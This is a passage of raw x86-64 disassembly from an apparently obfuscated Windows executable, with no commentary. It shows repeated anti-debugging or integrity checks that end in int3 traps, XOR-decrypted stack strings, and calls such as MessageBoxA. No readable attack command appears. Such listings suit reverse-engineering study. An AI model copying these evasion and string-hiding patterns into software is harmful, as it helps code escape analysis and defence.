mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001850a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df750]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400df5e0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xac5806cf
mov dword [rbp + 0xbec], 0x9ce5c6d3
mov dword [rbp + 0xbf0], 0x83925ac8
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs r13, 0x134d3699f
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14002649c
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14001855d
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140011108
mov rax, qword gs:[7]
cmp rax, r12
mov r13d, 0x29a87bfd
jne 0x14001866a
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001864a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001864a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001866a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140018714
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400186f4
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400186f4
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018714
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
lea rcx, [rbp + 0x9f8]
call fcn.140016b88
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140011218
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.1400275b8
lea rcx, [rbp + 0x9f8]
call fcn.1400274f4
lea rcx, [rbp + 0x9f8]
call fcn.140011728
mov rax, qword gs:[7]
cmp rax, r12
jne 0x14001880c
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400187ec
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400187ec
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001880c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400188b6
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018896
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018896
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400188b6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov dword [rbp - 0x68], 0xe13090cd
mov word [rbp - 0x64], 0xcddc
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs rsi, 0x134d3699f
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140026424
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x1400188d5
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0xe13082d4
mov word [rbp - 0x54], 0xcddc
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
movabs rsi, 0xf6959430e7eecbd0
movabs r13, 0x134d3699f
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140026424
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14001892d
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140027828
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140027200
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140027354
lea rcx, [rbp - 0x68]
call fcn.140011270
mov rcx, rax
call fcn.140011218
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140027040
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140027354
lea rdx, [0x1401014a0]
lea rcx, [rbp + 0xa78]
call fcn.140027200
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140027354
lea rcx, [rbp + 0xa78]
call fcn.1400274f4
lea rcx, [rbp + 0xa78]
call fcn.140011728
lea rcx, [rbp + 0xa58]
call fcn.1400274f4
lea rcx, [rbp + 0xa58]
call fcn.140011728
lea rcx, [rbp + 0xa38]
call fcn.1400274f4
lea rcx, [rbp + 0xa38]
call fcn.140011728
mov rax, qword gs:[7]
cmp rax, r12
mov r13d, 0x29a87bfd
jne 0x140018ade
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018abe
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018abe
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018ade
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140018b88
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018b68
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018b68
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018b88
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
lea rcx, [rbp + 0x1208]
call fcn.140026e68
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14008d290
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140018c4c
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018c2c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018c2c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018c4c
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140018d05
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018ce5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018ce5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018d05
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.1400111c0
lea rcx, [rbp + 0x10e8]
call fcn.140027590
nop
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140018dcc
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018dac
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018dac
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018dcc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140018e76
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018e56
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018e56
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018e76
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
lea rcx, [rbp + 0x11e8]
call fcn.140026e68
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.1400166f0
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140018f50
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018f30
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018f30
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018f50
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov dword [rbp + 0x1e0], 0x58a8c93e
mov dword [rbp + 0x1e4], 0x52414044
mov dword [rbp + 0x1e8], 0x40bbc3d7
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs rbx, 0x134d3699f
mov qword [rsp + 0x20], rbx
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.1400263ac
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x140018f83
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140027b44
test al, al
je 0x14001953c
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140019083
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019063
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019063
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019083
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df740]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0xe0e8735e
mov word [rbp + 0x7cc], 0xb69e
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.1400262c0
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x1400190b1
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400df500]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400df780]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400df5a0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400df580]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [str.S46Pn]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400df590]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400df5f0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400df530]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x334d5073
mov word [rbp + 0xde4], 0x34d2
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov ebx, 0x86
movabs r13, 0x134d3699f
mov qword [rsp + 0x20], r13
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140026334
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x140019199
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, eax
mov rax, qword gs:[7]
cmp rax, r12
mov r13d, 0x29a87bfd
jne 0x14001929e
mov rcx, qword gs:[0x38]
xor rcx, rsi
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x38]
xor rcx, rsi
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x38]
xor rcx, rsi
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001927e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001927e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001929e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140019348
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019328
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019328
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019348
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
cmp edx, 7
je 0x140026033
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400193fb
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400193db
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400193db
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400193fb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [str.C_V]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400df5b0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400df440]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs rbx, 0x134d3699f
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14002624c
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x140019438
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.1400907bc
mov rax, qword gs:[7]
mov edi, 0x3e65b665
cmp rax, r12
jne 0x140019541
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001951c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001951c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019541
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov edi, 0x3e65b665
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400195eb
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400195cb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400195cb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400195eb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.1400273b0
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140016cd0
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14002728c
lea rcx, [rbp + 0xab8]
call fcn.1400274f4
lea rcx, [rbp + 0xab8]
call fcn.140011728
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400196de
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400196be
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400196be
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400196de
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140019788
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019768
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019768
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019788
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140027564
mov rax, qword gs:[7]
cmp rax, r12
jne 0x14001984f
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001982f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001982f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001984f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400198f9
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400198d9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400198d9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400198f9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.140090c2c
mov rsi, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[7]
cmp rax, r12
jne 0x1400199b6
mov rcx, qword gs:[0x38]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x38]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x38]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019996
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019996
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400199b6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140019a6f
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019a4f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019a4f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019a6f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[7]
movabs rbx, 0xf6959430e7eecbd0
cmp rax, r12
jne 0x140019b2a
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019b0a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019b0a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019b2a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
test rsi, rsi
je 0x140025d26
cmp qword [rbp + 0x10f8], r15
je 0x140025d26
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140019bfb
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019bdb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019bdb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019bfb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
